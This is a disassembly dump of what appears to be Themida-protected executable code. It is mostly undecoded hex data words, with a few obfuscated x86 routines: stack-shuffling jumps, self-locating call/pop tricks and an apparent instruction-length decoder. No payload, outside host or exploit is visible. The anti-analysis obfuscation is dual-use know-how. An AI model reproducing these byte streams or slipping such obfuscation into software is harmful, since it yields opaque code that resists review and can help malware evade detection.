0D6BC8EA8h, 0DDD0171Ch, 6421D56Ah, 45687FBCh, 267A9154h dd 7AD2D72Ah, 5F829996h, 2E5A8FA7h, 0D3754EA1h, 64EE11F5h dd 1BF4D7Bh, 71590000h, 0E4CB9DB7h, 5B40122Ch, 0CEB789A3h dd 482AFC16h, 0B61F748Eh, 0CBE59F81h, 415B15F9h, 0BAD48C6Fh dd 2E4802E8h, 7140634Eh, 0D21D51Eh, 4FD1019Bh, 779AD9F0h dd 29BAA13Ah, 8CEBF144h, 0C6EB0E4Dh, 0B029BAA0h, 3E3D595Dh dd 2E2EAD4Dh, 4CB4E528h, 378A2E5Fh, 0F936DA32h, 0AC47BFE2h dd 0C2012674h, 4BD02196h, 262137B6h, 29B5278Bh, 282190B3h dd 0A5D29B5h, 82A98733h, 7562F2A5h, 52A5C4CAh, 3796DD79h dd 5B8972E6h, 131h, 2B45FFE7h, 0A0BA7259h, 1731E9CEh, 8AA45C45h dd 21CD6B8h, 2D0F04ADh, 0A3875973h, 1AFDCFE9h, 90764862h dd 0F1DCBCD6h, 0D51DE3CEh, 8F299B21h, 0D9F04FD1h, 79385B9Ah dd 529BAA0h, 11366959h, 0DC87F21Ch, 90EE93D6h, 0FC282E5Fh dd 1B23B20Dh, 77969C1Bh, 0F3D84BCBh, 994471D3h, 0F6B09694h dd 917BB3DFh, 345B0AC3h, 60AB29Fh, 0EEF424B1h, 1AD4BA8Ch dd 0D453BD15h, 1C3F7EBDh, 21D57395h, 0EAA287E1h, 3D43EEE5h dd 7AAAEBFAh, 0FE186B26h, 738D452Ch, 7598BCA1h, 29BA4D3Ch dd 2A44EF42h, 995EC7F3h, 303BC08h, 621A03FDh, 0D28A714Bh dd 9CBFD6CDh, 29B9AB15h, 0A6080E61h, 0F5AF956Fh, 0F9F3F9F0h dd 71435D17h, 33EBCE8Fh, 0B89C6E88h, 2F12E4FEh, 0FE216077h dd 29B9AAB3h, 3E6178CBh, 29B9AB73h, 50B2B80Bh, 0C7DE987Eh dd 0AEA4809Bh, 8086BD13h, 0AE684C1Eh, 1DD7BD97h, 8789B517h dd 2F5291A8h, 29BA1A82h, 44A3A9FCh, 5F51C421h, 5E8422Eh dd 9F51484Dh, 4FB00B8h, 70565459h, 0A9A9CB6h, 30000000h dd 6D4F2924h, 0B1B7AEB3h, 89432B8Fh, 0E6A08684h, 4800E3E1h dd 0A7614543h, 8C2A4A2h, 69230503h, 0C57D6664h, 25DDC2C0h dd 833B2220h, 89506D7Eh, 405E0h, 0E8830000h, 24048704h db 8Bh, 2 dup(24h) ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp] pop esp mov [esp], eax push 1F34h mov [esp], ecx push 7E57A60h mov eax, [esp] add esp, 4 push esp mov ecx, [esp] add esp, 4 sub esp, 4 mov [esp], eax pop dword ptr [ecx+8] push dword ptr [esp] pop ecx add esp, 4 mov eax, [esp] push edx mov edx, esp add edx, 4 add edx, 4 xchg edx, [esp] pop esp jmp loc_554887 ; --------------------------------------------------------------------------- db 94h, 0CFh, 0C6h dd 0B82FBC9Bh, 7E58512h, 0C38BC503h, 86A28D8Dh, 6A07E5h dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 150424h, 56460000h dd 8BBA1EC3h, 0E03171BDh, 35BD8907h, 8907E001h, 0E018158Dh dd 50006A07h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1604h dd 0C3504000h, 89A5D951h, 0E01BE1BDh, 15890F07h, 0E8000000h dd 9, 0A818F5C8h, 13CEB84Dh, 850F43h, 5B000000h, 204985C7h dd 5C4007E0h, 0FE90000h, 4C000000h, 2F31EA0Bh, 0F39DBFDBh dd 8C7609F3h, 85C70AEEh, 7E022C5h, 0 dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Ch, 65C35040h dd 0C01EC377h, 0E975522Ah, 0CE8h, 0C8B3F00h, 0E177E323h dd 0F0D1576Eh, 0CA816628h, 0FF5E751Bh, 0E012ADB5h, 5E907h dd 0D06E0000h, 0FFA2BB90h, 0E0209195h, 51006A07h, 3E8h dd 0C3592000h, 244C8959h, 24448104h, 1604h, 0C3514100h dd 6AB1F909h, 0A995FF00h, 8B07E018h, 161CEBC0h, 0C1A7F5F1h dd 36972EC9h, 235347AAh, 0F567F158h, 0EDC9EEBDh, 88A98F8Ch dd 0E99C3179h, 191h, 0C2B70F60h, 782EC781h, 8D61624Fh dd 0E5878FB5h, 55006A07h, 3E8h, 0C35D2000h, 246C895Dh dd 24448104h, 1C04h, 0C3554500h, 84824C63h, 768758E9h dd 13E942h, 0DB9E0000h, 0D98F3C3Ch, 0D7905C7Bh, 8065A1h dd 9AA63082h, 0A0858D4Dh, 0E907E357h, 5, 0D0A1282Eh, 0FD0FFCDh dd 1185h, 0CE900h, 19BF0000h, 6591CD40h, 2E28B5B0h, 12E91AC0h dd 9000000h, 52C444A8h, 83E7481Fh, 0FEC8D7B1h, 71AF990h dd 6AC3FAh, 3E852h, 5A200000h, 54895AC3h, 44810424h, 190424h dd 52420000h, 7A9CECC3h, 0FC3EE77h, 118Eh, 0CE900h, 327B0000h dd 9978FFE8h, 524743D5h, 66F8A550h, 6AD98Ch, 3E851h, 59200000h dd 4C8959C3h, 44810424h, 190424h, 51410000h, 0A13BD4C3h dd 0E998F0E1h, 14h, 147FCBD9h, 97F7C220h, 674033D9h, 4EAD6BDAh dd 0E7B94EFFh, 0F04C1F6h, 3984h, 0FB8BFC00h, 0C032CB8Bh dd 2BFD75AEh, 2BD9F7CFh, 49D78BF9h, 0EBD98Bh, 13F20CDh dd 0C00B0001h, 708D1874h, 8BFA8B0Ch, 0A75A6CBh, 0B8FA7549h dd 1, 8B09EBh, 0B8E4EBh, 0CF000000h, 0E853006Ah, 3, 5BC35B20h dd 4245C89h, 4244481h, 17h, 0C8C35343h, 0FCAA49B4h, 52CE8B60h dd 59D7C980h, 0FE96061h, 5C000000h, 5FA19171h, 2D5FF539h dd 56ACCA08h, 0D681F31Dh, 5C92A348h, 0EE85C761h, 3F07E587h dd 0E8000101h, 12h, 1E419516h, 8B205336h, 83A2994Fh, 1BE59302h dd 0F6097A7h, 1483h, 0FE900h, 0AF3B0000h, 885A1B72h, 9E8979F0h dd 3CAA5D1Ch, 8166607Dh, 8B7FA8C7h, 5B6161CEh, 6444C381h dd 0F38B0000h, 2964A9B9h, 0D7E9815Ch, 0F5C294Bh, 1B80h dd 13E85100h, 0AE000000h, 0D404E12Dh, 95FDA398h, 2DC8BCE6h dd 0BB8DD50Bh, 5F5E7889h, 840F138Bh, 1, 0D8C281F5h, 0F7D3369h dd 880h, 0CE815300h, 20DD70FEh, 2FF28158h, 0E84A31EEh dd 10h, 88696636h, 0A436C9B9h, 81D5DE1h, 87BA075Ah, 38DCE9B8h dd 0EA815E7Eh, 0F3B9EF8h, 0F1389FCh, 0EB83F2B7h, 850F4904h dd 11h, 0FDBA9BB8h, 36E95Dh, 0A7B20000h, 0CB1E7C84h, 0AE81Ah dd 0B6CE0000h, 0DA8EE952h, 6167CBCh, 0DBB4F081h, 0E95E78ABh dd 0FFFFFF80h, 0F838E924h, 1DB2E0EAh, 63486B77h, 0AA1FA414h dd 6DBAD566h, 1C8E9h, 8 dup(41888800h), 4 dup(0) dd 880000h, 91C400h, 11111100h, 11111111h, 8899C911h, 88888888h dd 88h, 60000h, 444400h, 4100h, 11111100h, 44444411h, 88029944h dd 100203C9h, 11888800h, 88888800h, 11111188h, 164411h dd 0 dd 88h, 888888h, 80000000h, 88888800h, 888h, 8888800h dd 88888808h, 88h, 0 dd 88888800h, 88888888h, 88888088h, 2 dup(88888888h), 888888h dd 88999988h, 8, 44444488h, 44444444h, 88888844h, 88888888h dd 99800088h, 99800000h, 88888888h, 88890088h, 99888888h dd 89h, 88888000h, 88888880h, 88888888h, 88888880h, 88888088h dd 88888888h, 362E2608h, 6665643Eh, 0F3F2F067h, 0 dd 0FFFFFF00h, 4016E6FFh, 4016FA00h, 2 dup(0) dd 500h, 14h dup(0) dd 76F9E900h, 75758Bh, 100h, 11h dup(0) dd 353E900h, 0E8550000h, 0 aBa@lxEnkx db ']í@‹å',7,'`Ç…Šå',7,0 align 4 dd 81660000h, 0FA1663Eh, 0F85h, 9185C700h, 607E58Ah, 0E9000000h dd 24h, 8A95858Dh, 8D5007E5h, 0E58AE585h, 6A565007h, 1DE800h dd 0C4830000h, 0FF2510h, 85890000h, 7E58A91h, 91B50361h dd 8B07E58Ah db 85h byte_5A5345 db 8Dh, 8Ah, 0E5h ; DATA XREF: ___:00444AB8o ; ___:00444D5Co db 7, 5Dh, 0C3h ; --------------------------------------------------------------------------- push ebp mov ebp, esp push ecx push ecx and byte ptr [ebp-5], 0 and byte ptr [ebp-6], 0 xor dl, dl and [ebp-1], dl cmp dword ptr [ebp+8], 0 jz loc_5A5378 mov byte ptr [ebp-4], 2 mov byte ptr [ebp-3], 0FEh mov byte ptr [ebp-2], 1 jmp loc_5A5384 ; --------------------------------------------------------------------------- loc_5A5378: ; CODE XREF: Themida_:005A5361j and byte ptr [ebp-3], 0 and byte ptr [ebp-2], 0 mov byte ptr [ebp-4], 4 loc_5A5384: ; CODE XREF: Themida_:005A5373j push ebx push esi push edi loc_5A5387: ; CODE XREF: Themida_:005A53DCj ; Themida_:005A53F8j ... mov edi, [ebp+0Ch] mov esi, [ebp+10h] movzx ecx, dl inc dl mov al, [edi+ecx] mov [esi+ecx], al xor cl, cl loc_5A539A: ; CODE XREF: Themida_:005A53C1j movzx ebx, cl push ebp call $+5 pop ebp sub ebp, 7E58BF7h lea ebp, [ebp+7E58A6Dh] add ebp, ebx cmp [ebp+0], al pop ebp jz loc_5A53C7 inc cl cmp cl, 0Bh jb loc_5A539A loc_5A53C7: ; CODE XREF: Themida_:005A53B6j cmp cl, 0Bh jz loc_5A5424 cmp al, 66h jnz loc_5A5405 cmp byte ptr [ebp-5], 0 jnz loc_5A5387 cmp byte ptr [ebp-3], 0 mov byte ptr [ebp-5], 1 jnz loc_5A53FD mov byte ptr [ebp-4], 2 mov byte ptr [ebp-3], 0FEh jmp loc_5A5387 ; --------------------------------------------------------------------------- loc_5A53FD: ; CODE XREF: Themida_:005A53EAj and byte ptr [ebp-3], 0 mov byte ptr [ebp-4], 4 loc_5A5405: ; CODE XREF: Themida_:005A53D2j cmp al, 67h jnz loc_5A5387 cmp byte ptr [ebp-6], 0 jnz loc_5A5387 xor byte ptr [ebp-2], 1 mov byte ptr [ebp-6], 1 jmp loc_5A5387 ; --------------------------------------------------------------------------- loc_5A5424: ; CODE XREF: Themida_:005A53CAj mov ebx, [ebp+14h] mov cl, dl dec cl cmp al, 0Fh mov [ebx], cl jnz loc_5A5450 movzx ecx, dl inc dl mov al, [edi+ecx] movzx edi, al shr edi, 1 mov [esi+ecx], al add edi, 80h jmp loc_5A5455 ; --------------------------------------------------------------------------- loc_5A5450: ; CODE XREF: Themida_:005A542Fj movzx edi, al shr edi, 1 loc_5A5455: ; CODE XREF: Themida_:005A544Bj push ebp call $+5 pop ebp sub ebp, 7E58CAFh lea ebp, [ebp+7E5896Dh] add ebp, edi mov bl, [ebp+0] pop ebp mov cl, al and cl, 1 mov [ebp-7], cl shl cl, 2 shr bl, cl test bl, 8 mov [ebp-6], bl jz loc_5A55D7 mov ebx, [ebp+0Ch] mov byte ptr [ebp+0Bh], 1 movzx ecx, dl inc dl mov bl, [ebx+ecx] mov [ebp+17h], dl mov dl, bl mov [esi+ecx], bl and dl, 7 movzx ecx, bl cmp dl, 4 setz byte ptr [ebp-5] shr ecx, 6 sub ecx, 0 jz loc_5A551B dec ecx jz loc_5A54FE dec ecx jnz loc_5A556E cmp byte ptr [ebp-2], 0 jnz loc_5A556A cmp byte ptr [ebp-5], 0 jz loc_5A54DD mov byte ptr [ebp+0Bh], 2 loc_5A54DD: ; CODE XREF: Themida_:005A54D3j add byte ptr [ebp+0Bh], 4 push ebp call $+5 pop ebp sub ebp, 7E58D3Bh mov dword ptr [ebp+7E58A8Dh], 1 pop ebp jmp loc_5A556E ; --------------------------------------------------------------------------- loc_5A54FE: ; CODE XREF: Themida_:005A54B8j cmp byte ptr [ebp-2], 0 jnz loc_5A5548 cmp byte ptr [ebp-5], 0 jz loc_5A5548 mov byte ptr [ebp+0Bh], 2 jmp loc_5A5548 ; --------------------------------------------------------------------------- loc_5A551B: ; CODE XREF: Themida_:005A54B1j cmp byte ptr [ebp-2], 0 jnz loc_5A5561 cmp byte ptr [ebp-5], 0 jz loc_5A5550 movzx ecx, byte ptr [ebp+17h] mov edx, [ebp+0Ch] mov cl, [edx+ecx] and cl, 7 cmp cl, 5 jnz loc_5A5548 mov [ebp+0Bh], cl loc_5A5548: ; CODE XREF: Themida_:005A5502j ; Themida_:005A550Cj ... inc byte ptr [ebp+0Bh] jmp loc_5A556E ; --------------------------------------------------------------------------- loc_5A5550: ; CODE XREF: Themida_:005A5529j cmp dl, 5 jnz loc_5A556E mov [ebp+0Bh], dl jmp loc_5A556E ; --------------------------------------------------------------------------- loc_5A5561: ; CODE XREF: Themida_:005A551Fj cmp dl, 6 jnz loc_5A556E loc_5A556A: ; CODE XREF: Themida_:005A54C9j mov byte ptr [ebp+0Bh], 3 loc_5A556E: ; CODE XREF: Themida_:005A54BFj ; Themida_:005A54F9j ... dec byte ptr [ebp+0Bh] jz loc_5A559C movzx ecx, byte ptr [ebp+0Bh] mov [ebp+8], ecx loc_5A557E: ; CODE XREF: Themida_:005A5594j movzx esi, byte ptr [ebp+17h] mov ecx, [ebp+0Ch] mov edx, [ebp+10h] inc byte ptr [ebp+17h] dec dword ptr [ebp+8] mov cl, [ecx+esi] mov [edx+esi], cl jnz loc_5A557E mov esi, edx loc_5A559C: ; CODE XREF: Themida_:005A5571j and al, 0FEh cmp al, 0F6h jnz loc_5A55D1 cmp edi, 7Fh ja loc_5A55D1 test bl, 38h jnz loc_5A55D1 cmp byte ptr [ebp-7], 0 jz loc_5A55CB movzx eax, byte ptr [ebp-4] jmp loc_5A55CE ; --------------------------------------------------------------------------- loc_5A55CB: ; CODE XREF: Themida_:005A55BCj push 1 pop eax loc_5A55CE: ; CODE XREF: Themida_:005A55C6j mov [ebp-1], al loc_5A55D1: ; CODE XREF: Themida_:005A55A0j ; Themida_:005A55A9j ... mov dl, [ebp+17h] mov bl, [ebp-6] loc_5A55D7: ; CODE XREF: Themida_:005A5481j mov al, bl and eax, 7 sub eax, 4 jz loc_5A5602 dec eax dec eax jz loc_5A55F8 and bl, 7 add [ebp-1], bl jmp loc_5A560A ; --------------------------------------------------------------------------- loc_5A55F8: ; CODE XREF: Themida_:005A55E7j mov al, [ebp-3] add al, 6 jmp loc_5A5607 ; --------------------------------------------------------------------------- loc_5A5602: ; CODE XREF: Themida_:005A55DFj mov al, [ebp-3] add al, 4 loc_5A5607: ; CODE XREF: Themida_:005A55FDj add [ebp-1], al loc_5A560A: ; CODE XREF: Themida_:005A55F3j mov al, [ebp-1] dec byte ptr [ebp-1] test al, al jz loc_5A5632 movzx ecx, byte ptr [ebp-1] inc ecx loc_5A561D: ; CODE XREF: Themida_:005A562Cj mov edi, [ebp+0Ch] movzx eax, dl inc dl dec ecx mov bl, [edi+eax] mov [esi+eax], bl jnz loc_5A561D loc_5A5632: ; CODE XREF: Themida_:005A5612j pop edi pop esi mov al, dl pop ebx leave retn ; --------------------------------------------------------------------------- db 8Dh, 85h, 3Ah dd 8907E58Bh, 0E034A185h, 266E907h, 66600000h, 0C1F6D98Ch dd 35840F04h, 6A000000h, 1B5FF01h, 8D07E02Fh, 0E37FE885h dd 89D0FF07h, 0E0312985h, 0C1FE8B07h, 680CEFh, 6A200600h dd 57026A00h, 1000D68h, 2995FF00h, 0E907E031h, 32h, 75985C6h dd 685607E0h, 0A9C530DFh, 292DB5FFh, 858D07E0h, 7E37FE8h dd 8589D0FFh, 7E02F85h, 2581858Dh, 6A5007E0h, 56056A40h dd 2F8595FFh, 0C36107E0h, 3 dup(0) dd 60D48B52h, 8908428Bh, 0E58F1C85h, 0C428B07h, 8F148589h dd 428B07E5h, 18858910h, 8D07E58Fh, 0E58F52B5h, 0A1858D07h dd 0FF005B8Eh, 0C25A61D0h, 0B58B000Ch, 7E58F1Ch, 8F14858Bh dd 0BD8307E5h, 7E58F18h, 7840F00h, 89000000h, 2E906h, 6880000h dd 0CFh, 0 dd 0D48B5200h, 8428B60h, 8F1C8589h, 0B58D07E5h, 7E58FA3h dd 8EA1858Dh, 0D0FF005Bh, 858B5A61h, 7E58F1Ch, 8B0004C2h dd 0E58F1C85h, 89008B07h, 0E58F1C85h, 0CF07h, 89600000h dd 0E58F79B5h, 75858907h, 8D07E58Fh, 0E014DD85h, 44408B07h dd 8FB28589h, 0B58D07E5h, 7E58FE8h, 8EA1858Dh, 0D0FF005Bh dd 79858B61h, 0C307E58Fh, 8F759D8Bh, 0B70F07E5h, 0D8033C43h dd 3785B8Bh, 0E58F759Dh, 24738B07h, 8F75B503h, 8B5607E5h dd 738B207Bh, 75BD031Ch, 307E58Fh, 0E58F75B5h, 0C983FC07h dd 9D8B41FFh, 7E58F79h, 9503178Bh, 7E58F75h, 8A04C783h dd 0FC08402h, 0F84h, 0F033A00h, 0FFFFDC85h, 0E94243FFh dd 0FFFFFFE7h, 850F033Ah, 0FFFFFFCDh, 0FE1D15Fh, 8B0F04B7h dd 85038604h, 7E58F75h, 8F798589h, 0F08B07E5h, 0C18BCE8Bh dd 8FB2BD81h, 7E5h, 850FC030h, 0Dh, 2514E8C1h, 0FFCh, 8E9h dd 12E8C100h, 3FF825h, 0B2BD8B00h, 8307E58Fh, 8B06070Ch dd 0C28B0714h, 813C8124h, 840FC18Bh, 57h, 8FB2BD81h, 7E5h dd 850FC030h, 0Dh, 250AE8C1h, 3FFFFCh, 8E9h, 9E8C100h dd 7FFFF825h, 2D00h, 8834000h, 8000F706h, 0F000000h, 1E84h dd 0B2BD8100h, 7E58Fh, 0FC03000h, 0E84h, 3FF82500h, 808B0000h dd 0C0600000h, 0CF060883h, 8F20858Dh, 858907E5h, 7E01701h dd 8FB6858Dh, 858907E5h, 7E025D9h, 8F7D858Dh, 858907E5h dd 7E02B65h, 92128D8Dh, 816607E5h, 0B02DB1C3h, 158D89CAh dd 6A07E018h, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch dd 19042444h, 45000000h, 0D763C355h, 0A4AE77BAh, 0F770FFB8h dd 4985C73Ah, 0D807E020h, 6A00006Eh, 3E85300h, 20000000h dd 895BC35Bh, 8104245Ch, 1C042444h, 43000000h, 658FC353h dd 48C6EAAEh, 8BDCE0F4h, 0E02D9D9Dh, 0C585C707h, 7E022h dd 6A000000h, 3E85100h, 20000000h, 8959C359h, 8104244Ch dd 1B042444h, 41000000h, 36E2C351h, 9975820Fh, 0BD89DD68h dd 7E021E1h, 7B9B5FFh, 6A07E0h, 3E850h, 58200000h, 448958C3h dd 44810424h, 190424h, 50400000h, 8643DEC3h, 66A6D7AFh dd 0FF6E6ABFh, 0E0209195h, 0DE907h, 0D43A0000h, 0D8FAB6A6h dd 40ED3571h, 6AF87951h, 0A995FF00h, 8B07E018h, 5C0BEBC0h dd 9D59CBB3h, 0C5F186BDh, 9E82BB5h, 1B000000h, 8A922084h dd 8ECECD57h, 14E959h, 0FA310000h, 2C75A799h, 8E5C5918h dd 30DA8AB7h, 0BEC4B06Eh, 0C1812B1Dh, 6AEFh, 0FA1BD29h dd 0B807E0h, 89000000h, 0E0046985h, 834FF07h, 895B5E57h dd 0E00FE995h, 0ADEB8107h, 8B3D658Eh, 0E01601BDh, 33F38107h dd 66768D13h, 812E94BAh, 0DA26D4C3h, 45BD3120h, 5307E033h dd 5301048Fh, 5FF0B70Fh, 2C59B531h, 0E88307E0h, 0A5BD8B01h dd 4807E028h, 0BF664848h, 0F88189BFh, 0FFFF95A0h, 0FFA7850Fh dd 11E8FFFFh, 6D000000h, 59926900h, 0F31C3436h, 0EA7025E0h dd 0A539AFA8h, 6870Fh, 958B0000h, 7E02B69h, 0EDB58B5Bh dd 8107E028h, 6E9FC3h, 13E900h, 19E20000h, 939D1F4Dh, 6856116Eh dd 0BBD1F010h, 122004BDh, 1B6D685Bh, 81660000h, 5F6B11C8h dd 92011BBAh, 0F33FF09h, 0D83h, 8E900h, 51250000h, 3FD06364h dd 60597DEAh, 5840Fh, 81660000h, 665214CBh, 8161D18Bh dd 3FDAFAC1h, 11E85Ch, 0C93B0000h, 994965D0h, 0B3DA1FD4h dd 15641369h, 0B04A5836h, 0F1815EB2h, 78C60AEDh, 2095958Bh dd 0E98107E0h, 2C389F7Fh, 6051DBB4h, 33C8BF0Fh, 0E013ED8Dh dd 38F6107h, 13E9h, 0BCB76000h, 6B4BC4ABh, 0A595D2DCh dd 1ED79705h, 0A485B9CCh, 5204EB83h, 1EF8358h, 0FF73850Fh dd 890FFFFFh, 0Ah, 5E9h, 9CC2CF00h, 8D8DDB70h, 7E5949Bh dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Dh, 0C9C35242h dd 0F82430F0h, 0D692D4B6h, 158D897Ah, 6A07E018h, 3E85100h dd 20000000h, 8959C359h, 8104244Ch, 1B042444h, 41000000h dd 8569C351h, 1580C094h, 0BF0FD67Ah, 4985C7F1h, 0A807E020h dd 6A00005Dh, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch dd 1C042444h, 43000000h, 40E4C353h, 5532B6EEh, 89D6419Dh dd 0E0287985h, 0C585C707h, 7E022h, 0F000000h, 0EE9C7B7h dd 67000000h, 0EE631A1Dh, 0CEE0F697h, 0E7226ACBh, 49B5FF9Dh dd 5107E01Eh, 0FF5FF78Bh, 0E0209195h, 53006A07h, 3E8h dd 0C35B2000h, 245C895Bh, 24448104h, 1D04h, 0C3534300h dd 71BBD581h, 13751C36h, 85239AF0h, 7E02EA1h, 95FF006Ah dd 7E018A9h, 0DEBC08Bh, 6B355F8Dh, 7AE6AB16h, 753A6BB9h dd 0CA11DC41h, 0EEBD6E1Ch, 0AC61BC28h, 0B87323F1h, 0C4374305h dd 15727879h, 568797FFh, 28875082h, 0B8F3E030h, 0BC07E8D2h dd 0A48A4E1Eh, 14300626h, 1512F63Fh, 155DB930h, 15343466h dd 4B176E30h, 61BE69F3h, 51B69F14h, 152FC914h, 4371E630h dd 1BBD80F3h, 33DE9737h, 9637DC33h, 0F5267B8Dh, 91383737h dd 15379B13h, 4B661FB1h, 1BDEA643h, 1A377333h, 1537ABBFh dd 153A3530h, 0A6256E30h, 4FA9A811h, 24BA000Dh, 98953478h dd 0F0A32BB5h, 45371937h, 1537BAD8h, 0D66FFC30h, 3173E768h dd 3173B634h, 15378134h, 0D6678D30h, 8547AD0Bh, 7522D32Bh dd 1537BCD8h, 3578C030h, 0FC6DFA47h, 15373739h, 0D93E6241h dd 9F946222h, 0FC57876Eh, 1537733Fh, 39E155C9h, 0F3BFACC3h dd 0C784BBF9h, 73A3CE02h, 0FBEB5AB1h, 153C2551h, 65D2E630h dd 1379111Ah, 6CF75AAEh, 0D5666209h, 45694CA2h, 1CDF6560h dd 9B379B30h, 0E8E073Fh, 732EAB2Bh, 1A067C6Ah, 1537B9BCh dd 9C6F8630h, 9E514A34h, 90BACFFBh, 12D20F9Fh, 1537C1D9h dd 796F5E30h, 367D4465h, 848B3CB1h, 73578CF6h, 7684B7BBh dd 3133BE51h, 0EAE251B0h, 0F51288A5h, 44378C37h, 153770D8h dd 0D66E9930h, 317B5569h, 3173EF34h, 15372234h, 0D666DA30h dd 0D5BC2A7Ah, 1537E3D8h, 0D33D1B30h, 9938D958h, 1537DC33h dd 4BC7E556h, 13868AB3h, 60379CD0h, 0D08A4E39h, 15300631h dd 46676A44h, 6F8F79BBh, 9C37DC34h, 0F5179BB5h, 77AABA37h dd 0EA30798Ch, 966F96E3h, 0F536238Dh, 2437337h, 6F8FEA60h dd 9C37DC34h, 0F5179BB5h, 44AABA37h, 0EA307989h, 736F96E3h dd 0D5BC16BBh, 1533F53Fh, 0AB51B930h, 88BA4B98h, 12D2FA87h dd 0FD64375Ah, 15379B33h, 4EF49610h, 1113BAB9h, 111337B1h dd 1537B92Dh, 0B6F48F73h, 0B63B654Eh, 81854A1h, 0C6B216E2h dd 733028B6h, 0C5C830BBh, 9138B33Bh, 1537B9B0h, 0FD66DC5Ah dd 15376E33h, 4CF46E10h, 1113D7B9h, 111389B1h, 1537E627h dd 0A7F42271h, 73DB1558h, 88BA27BBh, 12D720D8h, 1537B53Fh dd 168F9B30h, 7537CD30h, 4E6616BAh, 7FD48C51h, 16DFEA30h dd 3537DC30h, 9C6CAD6Bh, 9433136Ch, 333BF74h, 5637CD30h dd 12392563h, 11B77C1Eh, 7337B930h, 0FDAB238Eh, 15376E3Eh dd 2DB49749h, 0A824A72h, 68ABA8C5h, 7357D5E6h, 0B034A5B1h dd 4A56E782h, 818841BDh, 155D69D5h, 1534DF63h, 4E179B30h dd 49BE96F3h, 51B6E214h, 152B7714h, 4674B930h, 0FF7982F3h dd 0C626FB56h, 1A660E2Ah, 15379EB0h, 0E2B6AB30h, 98692C74h dd 0F0B1A0B5h, 1E8DDF37h, 94E72341h, 13FD73C6h, 1AF73C0Fh dd 1537DEB4h, 0B48DAB30h, 0FDAA6B4Bh, 7330937Eh, 148F4EBBh dd 4337DC30h, 4CE5D93Fh, 155DD4CFh, 15347361h, 4C17CD30h dd 59BEBFF3h, 51B67714h, 1523BD14h, 4476DC30h, 958E4DF3h dd 1A0E1057h, 15379EB1h, 32B77430h, 88BAC277h, 12D2E7F4h dd 0AF870656h, 93E459BDh, 12DE69D5h, 0B0373730h, 5B1D5FECh dd 0F4B6C54Eh, 30B04969h, 1FDFA3CFh, 0D837B930h, 1AFC15D4h dd 37A78FF1h, 1E68C275h, 3B394F0h, 4637CD30h, 4B6EB761h dd 0FDAAFE6Eh, 0E030597Eh, 1537DF88h, 0EAFDE430h, 155D74D3h dd 15347360h, 4D17CD30h, 51BEBEF3h, 51B67714h, 1523BD14h dd 4577DC30h, 0A8BA4BF3h, 12D2A39Dh, 8D5116BDh, 688FCAD5h dd 26BDAD6Ch, 0F52B7AB5h, 0D4F89237h, 8841BDD9h, 5D69D581h dd 34DF6315h, 179B3015h, 0BE96F34Eh, 0B6E21449h, 0E9831451h dd 8BA4F305h, 14E8C0h, 0D0950000h, 0EC316951h, 0FE659FCEh dd 0DE0CB82Bh, 0F0D1840h, 0CA812B53h, 4280E9F3h, 9EBA665Fh dd 80C38B14h, 0C08B15D6h, 0E8F2B70Fh, 13h, 0D8CA2C5Fh dd 772A7F61h, 0F713229Eh, 0D62C0B5Eh, 66555B6Ch, 5EBEF4BFh dd 6B1BD83h, 750007E0h, 0C5BD8309h, 7E001h, 53501974h dd 7AB8C08Bh, 89000004h, 0E0239985h, 0C99D8D07h, 0FF07E2BCh dd 83585BD3h, 0E001C5BDh, 17740007h, 7AB85350h, 89000004h dd 0E0239985h, 6A9D8D07h, 0FF07E2B9h, 66585BD3h, 6AF98Bh dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 170424h, 57470000h dd 0FD0CEDC3h, 0D6BAF818h, 8B468C04h, 13CE9C0h, 4Fh dup(0) dd 0BD830000h, 7E023B5h, 0D8840F01h, 0E9000004h, 5, 0C2EC8531h dd 5985C64Bh, 4307E007h, 68B0Fh, 0F8600000h, 61F8B70Fh dd 0BE239C68h, 0F525098h, 68Eh, 0F525000h, 0F585A31h, 5A506031h dd 310F5250h, 5A61585Ah, 24048158h, 53E7AD59h, 0D3816660h dd 0FF614826h, 0E0292DB5h, 0C8A0F07h, 0F000000h, 685h dd 880F00h, 8D000000h, 0E37FE885h, 0C830F07h, 0F000000h dd 68Ah, 8B0F00h, 0FF000000h, 11E9D0h, 5B890000h, 0B98F1C90h dd 29682F6h, 6D482528h, 892E69E4h, 0E02C6985h, 7E907h dd 753C0000h, 46543C33h, 5985C6D3h, 5007E007h, 0AE9h, 69276400h dd 0CCD11BBFh, 0E84DF6FAh, 4, 0A8ADAD56h, 8D0F5250h, 2 dd 310F6160h, 565B5660h, 585A6158h, 0B8666050h, 0FE9CEBDh dd 79000000h, 49B27413h, 0D4827CE8h, 8572E90Eh, 8B619CAFh dd 0F042444h, 0D8Ch, 8E900h, 95640000h, 0EBDC32C7h, 8B694Dh dd 61C78A60h, 4244489h, 0BEBE6060h, 0E83EF5AFh, 9, 6B1316E3h dd 79B2C4A4h, 50615FDBh, 0F616052h, 5A5F5031h, 0E9586158h dd 0Fh, 0B0835835h, 33038883h, 0D727B2D2h, 0FF93AD6Eh dd 0E0292DB5h, 0DE907h, 0AD2C0000h, 0CEF6DDF9h, 0ABB7801h dd 8D891BD7h, 0E37FE885h, 60516007h, 0F5805F61h, 0D0FF61CEh dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 19h, 35C35545h dd 9E835E7Fh, 8840FD6h, 0F000000h, 28Eh, 89616000h, 0E0060D85h dd 51006A07h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1C04h dd 0C3514100h, 32C067Ch, 51918177h, 17820FB8h, 0E9000000h dd 12h, 0BDA8689Eh, 96F7BB63h, 7C550BADh, 2E4DEEF9h, 6660A313h dd 80168CBAh, 6861B8C1h, 8F5996EDh, 0D38A6060h, 4F09BB61h dd 81613ECDh, 3EC22434h, 5E97FD6h, 33000000h, 5C448089h dd 292DB5FFh, 8DF807E0h, 0E37FE885h, 0D0FFF907h, 9E9h dd 6925EB00h, 43A7078Dh, 85894C19h, 7E0237Dh, 12E960h dd 3C00000h, 5394F2Bh, 0F5DE7BF3h, 21E0CFDEh, 9DD17ACEh dd 8E9h, 0C5B23800h, 0B719DCC8h, 85C661AFh, 7E00759h, 